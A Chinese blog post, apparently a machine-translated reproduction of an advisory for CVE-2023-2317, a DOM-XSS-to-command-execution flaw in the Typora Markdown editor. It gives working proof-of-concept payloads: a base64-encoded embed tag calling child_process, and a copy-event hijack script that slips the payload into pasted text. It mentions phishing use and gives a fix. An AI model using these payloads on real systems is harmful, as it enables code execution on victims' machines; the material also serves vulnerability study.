文章 八月 30, 2023

CVE-2023-2317(typora远程命令执行)复现

文章字数 8k 阅读约需 7 mins. 阅读次数 1000000

原文在这

以下为机翻,发布用以个人学习方便之需。
此漏洞在钓鱼、反制等领域都有一定意义。

产品概述:

Typora 是一款流行的跨平台 Markdown 编辑器,允许用户创建和编辑具有实时预览功能的 Markdown 文件。它支持各种格式选项,例如标题、粗体、斜体等。Typora 还允许用户将 Markdown 文件导出为不同的格式,例如 PDF、HTML 和 Word。

适用于 Windows/Linux 的 Typora 基于 Electron 构建,该框架使其能够在各种操作系统上无缝运行。Markdown 编辑器支持 HTML 标签和嵌入​​外部网页。攻击者可以利用该漏洞通过在 Markdown 编辑器中加载精心设计的 URL 来执行任意 JavaScript 代码和系统命令。

漏洞摘要:

Windows/Linux 版 Typora 中存在基于 DOM 的 XSS,允许任意 JavaScript 代码在 Typora 主窗口上下文中运行。如果用户在 Typora 中打开恶意 Markdown 文件,或者从恶意网页复制文本并将其粘贴到 Typora 中,则可以利用此漏洞。

漏洞详细信息:

已在以下位置发现基于 DOM 的 XSS Typora/resources/updater/updater.html

    <div class="btn-group">
      <div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
        <button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
      </div>
      
      <button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
      <button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
    </div>

    <script type="text/javascript">
      // ...
      var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));        // [1]

      document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
      document.querySelectorAll("[data-label]").forEach(function(dom){
        dom.innerHTML = labels[dom.getAttribute("data-label") - 0];     // [2]
      });
      // ...
    </script>

在上面的代码片段中,变量labels是从location.searchat中提取的[1],然后分配给具有at 属性的innerHTML元素。data-label``[2]

这是一个将<input>标签注入 DOM 的 PoC:

updater.html?curVersion=1&newVersion=2&releaseNoteLink=3&hideAutoUpdates=false&labels=["<input%20value=test>","22","33","44","55","66","77"]

Typora 注册了一个文件处理程序typora://来加载本地资源。例如,主窗口的 URL 是typora://app/typemark/window.html,实际文件是从 加载的[Typora Installation Absolute Path]/resources/window.html

攻击者可以<embed>通过将src属性设置为 来将存在漏洞的 updater.html 加载到标签内typora://app/typemark/updater/updater.html。在这种情况下,typora://app/typemark/window.html在主窗口中加载的内容和嵌入的更新程序页面被视为同源。因此,更新程序能够访问暴露于主窗口的特权接口,例如reqnode.

通过嵌入带有精心设计的 DOM-XSS 负载的 updater.html URL,攻击者能够在主窗口上执行任意 JavaScript 代码。此外,攻击者可以使用reqnode主窗口中的特权界面来访问节点模块child_process并执行任意系统命令。

利用条件:

可以通过诱使受害者

  1. 在 Typora 中打开恶意 Markdown 文件
  2. 从恶意网页复制文本并将其粘贴到 Typora 中来利用此漏洞。

POC:

我们已尽力使 PoC 尽可能便携。以下 HTML 代码是演示此任意文件泄露漏洞的 PoC:

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>

PoC中的base64编码部分被解码为以下内容:

reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

当这个 PoC 加载到 Typora 中时,它将:

  1. 使用 DOM-XSS 负载加载 updater.html
  2. 有效负载在主窗口上执行 JavaScript 代码
  3. 执行系统命令:notepad在Windows上,或gnome-calculator在Linux上

攻击场景:

场景一:打开恶意markdown文件

攻击者可以在 Markdown 文件中注入嵌入标签,并说服受害者在 Typora 中打开它以触发有效负载。

我们附上poc/typora-1.5.12-rce.md这份报告以供演示。在受影响的 Typora 版本中打开文件以验证此漏洞。

以下是在 Windows 和 Ubuntu 上展示此场景的 GIF:

场景 2:从网页复制并粘贴

copy攻击者可以制作恶意网页并使用以下代码来挂钩该事件:

<script>
    document.addEventListener('copy',e=>{
        e.preventDefault();
        let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJ0eXBvcmE6Ly9hcHAvdHlwZW1hcmsvdXBkYXRlci91cGRhdGVyLmh0bWw/Y3VyVmVyc2lvbj0xMTEmbmV3VmVyc2lvbj0yMjImcmVsZWFzZU5vdGVMaW5rPTMzMyZoaWRlQXV0b1VwZGF0ZXM9ZmFsc2UmbGFiZWxzPVslMjIlMjIsJTIyJTNjc3ZnJTJmb25sb2FkPXRvcC5ldmFsKGF0b2IoJ2NtVnhibTlrWlNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTW9LSHRYYVc0ek1qb2dKMjV2ZEdWd1lXUWdKVmRKVGtSSlVpVXZkMmx1TG1sdWFTY3NJRXhwYm5WNE9pQW5aMjV2YldVdFkyRnNZM1ZzWVhSdmNpQXRaU0FpVkhsd2IzSmhJRkpEUlNCUWIwTWlKMzBwVzI1aGRtbG5ZWFJ2Y2k1d2JHRjBabTl5YlM1emRXSnpkSElvTUN3MUtWMHAnKSk+PCUyZnN2Zz4lMjIsJTIyJTIyLCUyMiUyMiwlMjIlMjIsJTIyJTIyXSI+JiN4MGQ7JiN4MGQ7');
        e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
        console.log(payload + window.getSelection())
    })
</script>

当受害者从该页面复制文本时,有效负载会添加到复制的内容中,并在粘贴到 Typora 时触发。

我们已附上poc/rce-cp.html此场景的 PoC。现场版本也可以在这里找到。

补充笔记:

  1. 攻击者可以在<embed>标签上设置自定义样式,以使漏洞利用变得不那么引人注目。例如,height:0;在场景2 PoC中用于隐藏嵌入的网页。

建议的缓解措施:

建议通过设置innerText而不是 来更新 HTML 元素innerHTML

对于使用受此漏洞影响的版本的最终用户,建议(1)不要在 Typora 中打开任何不受信任的 Markdown 文件,(2)应避免从不受信任的网页复制文本然后将其粘贴到 Typora 中。

经典复现:

windows改成了弹计算器版本。

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>
0%